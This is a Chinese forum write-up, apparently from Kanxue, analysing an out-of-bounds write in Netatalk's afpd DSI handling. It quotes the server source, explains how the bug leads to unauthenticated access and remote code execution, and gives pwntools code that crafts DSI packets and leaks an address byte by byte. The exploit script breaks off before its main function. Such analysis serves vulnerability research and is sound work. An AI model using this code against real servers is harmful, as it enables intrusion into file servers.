本文为看雪论坛精华文章
看雪论坛作者ID:Cx1ng
一
sudo docker run -it ubuntu:18.04 /bin/bash
链接:https://pan.baidu.com/s/1NJOfT9xS111RSmgcSbEW3Q
提取码:8r5i
sudo docker run -p 548:548 -it --privileged=true temp-image:latest /sbin/init
二
注1:Netatalk的大部分功能性函数命名风格采用 模块命名空间_函数描述 的格式,如afp_exit、afp_over_dsi、dsi_opensession等。
注2: DSI流量包格式可以参考这篇wiki,Data_Stream_Interface。
init_listening_sockets
其目的是watch atp, dsi sockets and ipc parent/child file descriptor
,也就是从这里开始监听APF请求了。(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))
这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。int main(int ac, char **av) {
.../* watch atp, dsi sockets and ipc parent/child file descriptor. */
if (!(init_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
afp_exit(EXITERR_CONF);
}...
while (1) {
pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
ret = poll(asev->fdset, asev->used, -1);
pthread_sigmask(SIG_BLOCK, &sigs, NULL);
saveerrno = errno;if (gotsigchld) {
gotsigchld = 0;
child_handler();
continue;
}if (reloadconfig) {
nologin++;if (!(reset_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd, "main: reset socket handlers");
afp_exit(EXITERR_CONF);
}LOG(log_info, logtype_afpd, "re-reading configuration file");
configfree(&obj, NULL);
afp_config_free(&obj);if (afp_config_parse(&obj, "afpd") != 0)
afp_exit(EXITERR_CONF);if (configinit(&obj) != 0) {
LOG(log_error, logtype_afpd, "config re-read: no servers configured");
afp_exit(EXITERR_CONF);
}if (!(init_listening_sockets(&obj))) {
LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
afp_exit(EXITERR_CONF);
}nologin = 0;
reloadconfig = 0;
errno = saveerrno;if (server_children) {
server_child_kill(server_children, SIGHUP);
}continue;
}if (ret == 0)
continue;if (ret < 0) {
if (errno == EINTR)
continue;
LOG(log_error, logtype_afpd, "main: can't wait for input: %s", strerror(errno));
break;
}for (int i = 0; i < asev->used; i++) {
if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
switch (asev->data[i].fdtype) {case LISTEN_FD:
// here
if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
LOG(log_error, logtype_afpd, "out of asev slots");/*
* Close IPC fd here and mark it as unused
*/
close(child->afpch_ipc_fd);
child->afpch_ipc_fd = -1;/*
* Being unfriendly here, but we really
* want to get rid of it. The 'child'
* handle gets cleaned up in the SIGCLD
* handler.
*/
kill(child->afpch_pid, SIGKILL);
}
}
break;case IPC_FD:
child = (afp_child_t *)(asev->data[i].private);
LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]", child->afpch_pid);if (ipc_server_read(server_children, child->afpch_ipc_fd) != 0) {
if (!(asev_del_fd(asev, child->afpch_ipc_fd))) {
LOG(log_error, logtype_afpd, "child[%u]: no IPC fd");
}
close(child->afpch_ipc_fd);
child->afpch_ipc_fd = -1;
}
break;default:
LOG(log_debug, logtype_afpd, "main: IPC request for unknown type");
break;
} /* switch */
} /* if */
} /* for (i)*/
} /* while (1) */}
afp_start
函数。dsi_getsession
,并且forked后进入afp_over_dsi
处理本次请求。我们先看dsi_getsession
,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatus
和DSIOpenSession
。DSIOpenSession
命令的分支即dsi_opensession
函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT
分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
语句,这里存在一个越界写漏洞。dsi_opensession
函数之前,会隐式的调用dsi_stream_receive
函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data
,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型。static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
afp_child_t *child = NULL;if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
return NULL;
}// we've forked.
if (child == NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit (0);
}return child;
}/*!
* Start a DSI session, fork an afpd process
*
* @param childp (w) after fork: parent return pointer to child, child returns NULL
* @returns 0 on sucess, any other value denotes failure
*/
/* DSI Commands */
#define DSIFUNC_CLOSE 1 /* DSICloseSession */
#define DSIFUNC_CMD 2 /* DSICommand */
#define DSIFUNC_STAT 3 /* DSIGetStatus */
#define DSIFUNC_OPEN 4 /* DSIOpenSession */
#define DSIFUNC_TICKLE 5 /* DSITickle */
#define DSIFUNC_WRITE 6 /* DSIWrite */
#define DSIFUNC_ATTN 8 /* DSIAttention */
#define DSIFUNC_MAX 8 /* largest command */int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{switch (dsi->header.dsi_command) {
case DSIFUNC_STAT: /* send off status and return */
{
/* OpenTransport 1.1.2 bug workaround:
*
* OT code doesn't currently handle close sockets well. urk.
* the workaround: wait for the client to close its
* side. timeouts prevent indefinite resource use.
*/static struct timeval timeout = {120, 0};
fd_set readfds;dsi_getstatus(dsi);
FD_ZERO(&readfds);
FD_SET(dsi->socket, &readfds);
free(dsi);
select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
exit(0);
}
break;case DSIFUNC_OPEN: /* setup session */
/* set up the tickle timer */
dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
dsi_opensession(dsi);
*childp = NULL;
return 0;default: /* just close */
LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
dsi->proto_close(dsi);
exit(EXITERR_CLNT);
}
}/* DSI session options */
#define DSIOPT_SERVQUANT 0x00 /* server request quantum */
#define DSIOPT_ATTNQUANT 0x01 /* attention quantum */
#define DSIOPT_REPLCSIZE 0x02 /* AFP replaycache size supported by the server (that's us) *//* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;if (setnonblock(dsi->socket, 1) < 0) {
LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
AFP_PANIC("setnonblock error");
}/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]){
case DSIOPT_ATTNQUANT: // dsi_header.dsi_data[0]:code, dsi_header.dsi_data[1]:size, dsi_header.dsi_data[2:size -1]:data
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); // 越界写,上层函数会执行 memcpy(dsi->commands, dsi_header->dsi_data) dsi_header是我们发包的内容
dsi->attn_quantum = ntohl(dsi->attn_quantum);case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}// ...
dsi_send(dsi);
}
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write; /* in the middle of writing multiple packets,
signal handlers can't write to the socket */
int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */ //
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
int socket; /* AFP session socket */
int serversock; /* listening socket *//* DSI readahead buffer used for buffered reads in dsi_peek */
size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
char *buffer; /* buffer start */
char *start; /* current buffer head */
char *eof; /* end of currently used buffer */
char *end;#ifdef USE_ZEROCONF
char *bonjourname; /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
int zeroconf_registered;
#endif/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
} DSI;
cmd = dsi_stream_receive(dsi);
,Blocking read on the network socket
,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。dsi_stream_receive
函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block
变量即是DSI Header,将block
copy todsi.header
中。if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。注3:这里我们就发现了任意地址写漏洞。我们最开始的越界写,第一次发包可以覆盖commands,而后续发包可以往commands中写入我们希望的数据,指针劫持并可控的写指针指向内存,并且我们发现我们可以写多少是由图1的total data length这个字段决定的,而这个字段是4字节大小且根据payload的长度计算值,因此我们可以写非常长的payload。
任意地址写漏洞是后续RCE的基。我们之所以可以如此是因为dsi->commands指针的生命周期与dsi结构体生命周期是一样的,存在于一次连接中。
dsi_stream_receive
函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD
分支。这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。afp_switch
变量,通过全局搜索afp_switch =
可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch
,一个是登入成功或授权时走postauth_switch
。注4:我们拥有了任意地址写,那么处理得当,我们可以为授权时通过任意地址写将 afp_switch
的值改成postauth_switch
,我们将可以访问postauth_switch
中的回调函数,即触发未授权访问。更进一步,我们将preauth_switch
或postauth_switch
表中的一些项改成我们希望的代码段地址、one_gadget等,将触发RCE。因此目前我们已经从漏洞点中分析出未授权访问和RCE两种利用方式了。
void afp_over_dsi(AFPObj *obj)
{
DSI *dsi = (DSI *) obj->dsi;// ...
while (1) {
if (sigsetjmp(recon_jmp, 1) != 0)
/* returning from SIGALARM handler for a primary reconnect */
continue;/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi);if (cmd == 0) {
/* cmd == 0 is the error condition */
if (dsi->flags & DSI_RECONSOCKET) {
/* we just got a reconnect so we immediately try again to receive on the new fd */
dsi->flags &= ~DSI_RECONSOCKET;
continue;
}/* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
if (dsi->flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
afp_dsi_close(obj);
exit(0);
}if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}/* Some error on the client connection, enter disconnected state */
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);ipc_child_state(obj, DSI_DISCONNECTED);
while (dsi->flags & DSI_DISCONNECTED)
pause(); /* gets interrupted by SIGALARM or SIGURG tickle */
ipc_child_state(obj, DSI_RUNNING);
continue; /* continue receiving until disconnect timer expires
* or a primary reconnect succeeds */
}if (!(dsi->flags & DSI_EXTSLEEP) && (dsi->flags & DSI_SLEEPING)) {
LOG(log_debug, logtype_afpd, "afp_over_dsi: got data, ending normal sleep");
dsi->flags &= ~DSI_SLEEPING;
dsi->tickle = 0;
ipc_child_state(obj, DSI_RUNNING);
}if (reload_request) {
reload_request = 0;
load_volumes(AFPobj, LV_FORCE);
}/* The first SIGINT enables debugging, the next restores the config */
if (debug_request) {
static int debugging = 0;
debug_request = 0;dircache_dump();
uuidcache_dump();if (debugging) {
if (obj->options.logconfig)
setuplog(obj->options.logconfig, obj->options.logfile);
else
setuplog("default:note", NULL);
debugging = 0;
} else {
char logstr[50];
debugging = 1;
sprintf(logstr, "/tmp/afpd.%u.XXXXXX", getpid());
setuplog("default:maxdebug", logstr);
}
}dsi->flags |= DSI_DATA;
dsi->tickle = 0;switch(cmd) {
case DSIFUNC_CLOSE:
LOG(log_debug, logtype_afpd, "DSI: close session request");
afp_dsi_close(obj);
LOG(log_note, logtype_afpd, "done");
exit(0);case DSIFUNC_TICKLE:
dsi->flags &= ~DSI_DATA; /* thats no data in the sense we use it in alarm_handler */
LOG(log_debug, logtype_afpd, "DSI: client tickle");
/* timer is not every 30 seconds anymore, so we don't get killed on the client side. */
if ((dsi->flags & DSI_DIE))
dsi_tickle(dsi);
break;case DSIFUNC_CMD:
#ifdef AFS
if ( writtenfork ) {
if ( flushfork( writtenfork ) < 0 ) {
LOG(log_error, logtype_afpd, "main flushfork: %s", strerror(errno) );
}
writtenfork = NULL;
}
#endif /* AFS */function = (u_char) dsi->commands[0];
/* AFP replay cache */
rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);if (replaycache[rc_idx].DSIreqID == dsi->clientID
&& replaycache[rc_idx].AFPcommand == function) {
LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
dsi->clientID, AfpNum2name(function));
err = replaycache[rc_idx].result;
/* AFP replay cache end */
} else {
/* send off an afp command. in a couple cases, we take advantage
* of the fact that we're a stream-based protocol. */
if (afp_switch[function]) {
dsi->datalen = DSI_DATASIZ;
dsi->flags |= DSI_RUNNING;LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
AfpNum2name(function), AfpErr2name(err));dir_free_invalid_q();
dsi->flags &= ~DSI_RUNNING;
/* Add result to the AFP replay cache */
replaycache[rc_idx].DSIreqID = dsi->clientID;
replaycache[rc_idx].AFPcommand = function;
replaycache[rc_idx].result = err;
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}
}/* single shot toggle that gets set by dsi_readinit. */
if (dsi->flags & DSI_NOREPLY) {
dsi->flags &= ~DSI_NOREPLY;
break;
} else if (!dsi_cmdreply(dsi, err)) {
LOG(log_error, logtype_afpd, "dsi_cmdreply(%d): %s", dsi->socket, strerror(errno) );
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
break;case DSIFUNC_WRITE: /* FPWrite and FPAddIcon */
function = (u_char) dsi->commands[0];
if ( afp_switch[ function ] != NULL ) {
dsi->datalen = DSI_DATASIZ;
dsi->flags |= DSI_RUNNING;LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
AfpNum2name(function), AfpErr2name(err));dsi->flags &= ~DSI_RUNNING;
} else {
LOG(log_error, logtype_afpd, "(write) bad function %x", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}if (!dsi_wrtreply(dsi, err)) {
LOG(log_error, logtype_afpd, "dsi_wrtreply: %s", strerror(errno) );
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
break;case DSIFUNC_ATTN: /* attention replies */
break;/* error. this usually implies a mismatch of some kind
* between server and client. if things are correct,
* we need to flush the rest of the packet if necessary. */
default:
LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);
dsi_writeflush(dsi);
break;
}
pending_request(dsi);fce_pending_events(obj);
}
}/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags & DSI_DISCONNECTED)
return 0;/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];if (dsi->header.dsi_command == 0)
return 0;memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);/* make sure we don't over-write our buffers. */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}
// TCP fork dsi
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
return block[1];
}
static AFPCmd preauth_switch[] = {
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 0 - 7 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 8 - 15 */
NULL, NULL, afp_login, afp_logincont,
afp_logout, NULL, NULL, NULL, /* 16 - 23 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 24 - 31 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 32 - 39 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 40 - 47 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 48 - 55 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, afp_login_ext, /* 56 - 63 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 64 - 71 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 72 - 79 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 80 - 87 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 88 - 95 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 96 - 103 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 104 - 111 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 112 - 119 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 120 - 127 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 128 - 135 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 136 - 143 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 144 - 151 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 152 - 159 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 160 - 167 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 168 - 175 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 176 - 183 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 184 - 191 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 192 - 199 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 200 - 207 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 208 - 215 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 216 - 223 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 224 - 231 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 232 - 239 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 240 - 247 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 248 - 255 */
};AFPCmd *afp_switch = preauth_switch;
AFPCmd postauth_switch[] = {
NULL, afp_bytelock, afp_closevol, afp_closedir,
afp_closefork, afp_copyfile, afp_createdir, afp_createfile, /* 0 - 7 */
afp_delete, afp_enumerate, afp_flush, afp_flushfork,
afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo, /* 8 - 15 */
afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
afp_logout, afp_mapid, afp_mapname, afp_moveandrename, /* 16 - 23 */
afp_openvol, afp_opendir, afp_openfork, afp_read,
afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
/* 24 - 31 */
afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */
afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
afp_null, afp_null, afp_null, afp_null, /* 40 - 47 */
afp_opendt, afp_closedt, afp_null, afp_geticon,
afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl, /* 48 - 55 */
afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
NULL, NULL, NULL, NULL, /* 56 - 63 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 64 - 71 */
NULL, NULL, NULL, NULL,
NULL, NULL, afp_syncdir, afp_syncfork, /* 72 - 79 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 80 - 87 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 88 - 95 */
NULL, NULL, NULL, NULL,
afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL, /* 96 - 103 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 104 - 111 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 112 - 119 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 120 - 127 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 128 - 135 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 136 - 143 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 144 - 151 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 152 - 159 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 160 - 167 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 168 - 175 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 176 - 183 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 184 - 191 */
afp_addicon, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 192 - 199 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 200 - 207 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 208 - 215 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 216 - 223 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 224 - 231 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 232 - 239 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 240 - 247 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, /* 248 - 255 */
};
三
漏洞利用分析
postauth_switch
中的函数。注5:gdb附加容器进程进行调试请使用如下命令
sudo gdb -q -p `pgrep -n afp` --ex "set follow-fork-mode child"
0x00 00 7f ?? ?? ?? ?0 00
的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??
,转之继续往下一个??
试探,直至确定一个合法的可写地址。当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。7f
也当作??
试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。0x00 00 7f ?? ?? ?? ?0 00
,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。'''
dsi_header结构:
flags: 1 byte
command: 1 byte
request_id: 2 bytes
error_code: 4 bytes
dsi_data_len: 4 bytes
reserved: 4 bytes
dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
dsi_header = b'\x00' # flags
dsi_header += command # command
dsi_header += b'\x01\x00' #request_id
dsi_header += b'\x00\x00\x00\x00' # error code
dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
dsi_header += p32(0) # reserved
dsi_header += dsi_data # payload or dsi_data
return dsi_header'''
dsi_data:
code: 1 byte
size: 1 byte
data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes, data : bytes):
dsi_data = code # code :1 byte
dsi_data += p8(len(data)) # size: 1 byte
assert len(data) < 255
dsi_data += data # data: size bytes
return dsi_datadef leak_address():
leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
flags = p32(0x11223344, endian='big')
for _ in range(3):
for i in range(255, -1, -1):
data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
dsi_data = create_dsi_data(b'\x01', data)
dsi_header = create_dsi_header(b'\x04', dsi_data)io = remote(ip, port)
io.send(dsi_header)
try:
res = io.recv()
if flags in res:
leak_addr += i.to_bytes(1, byteorder='little')
io.close()
break
except:
io.close()
return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')
setcontext + 53
(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。__libc_dlopen_mode + 56
,一个是fgetpos64+207
,分别如图5、图6所示。// __libc_dlopen_mode + 56
mov rax, cs:dl_open_hook
call qword ptr [rax]
↓
// fgetpos64 +207
mov rdi, rax
call qword ptr [rax + 20h]
↓
// setcontext + 56
mov rsp, [rdi+0A0h]
mov rbx, [rdi+80h]
mov rbp, [rdi+78h]
mov r12, [rdi+48h]
mov r13, [rdi+50h]
mov r14, [rdi+58h]
mov r15, [rdi+60h]
mov rcx, [rdi+0A8h]
push rcx
mov rsi, [rdi+70h]
mov rdx, [rdi+88h]
mov rcx, [rdi+98h]
mov r8, [rdi+28h]
mov r9, [rdi+30h]
mov rdi, [rdi+68h]
xor eax, eax
retn
preauth_switch
、postauth_switch
和afp_switch
,再通过任意地址写将afp_switch
变量的值写成postauth_switch
,即可进行未授权访问!四
from pwn import *
import os
import sys
context(os = 'linux', arch='amd64')
context.terminal = ['tmux', 'sp', '-h']
libc = ELF("./libc-2.27.so")ip = os.popen('ifconfig ens33 | grep "inet " ').read().split()[1] # ['inet', '192.168.220.130', 'netmask', '255.255.255.0', 'broadcast', '192.168.220.255'][1]
port = 548'''
dsi_header结构:
flags: 1 byte
command: 1 byte
request_id: 2 bytes
error_code: 4 bytes
dsi_data_len: 4 bytes
reserved: 4 bytes
dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
dsi_header = b'\x00' # flags
dsi_header += command # command
dsi_header += b'\x01\x00' #request_id
dsi_header += b'\x00\x00\x00\x00' # error code
dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
dsi_header += p32(0) # reserved
dsi_header += dsi_data # payload or dsi_data
return dsi_header'''
dsi_data:
code: 1 byte
size: 1 byte
data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes, data : bytes):
dsi_data = code # code :1 byte
dsi_data += p8(len(data)) # size: 1 byte
assert len(data) < 255
dsi_data += data # data: size bytes
return dsi_data# 1. 劫持__free_hook指针,需要泄露libc.
# 利用越界写覆盖command指针,观察是否cransh获得一个可写的地址
def leak_address():
leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
flags = p32(0x11223344, endian='big')
for _ in range(3):
for i in range(255, -1, -1):
data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
dsi_data = create_dsi_data(b'\x01', data)
dsi_header = create_dsi_header(b'\x04', dsi_data)io = remote(ip, port)
io.send(dsi_header)
try:
res = io.recv()
if flags in res:
leak_addr += i.to_bytes(1, byteorder='little')
io.close()
break
except:
io.close()
return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')def main():
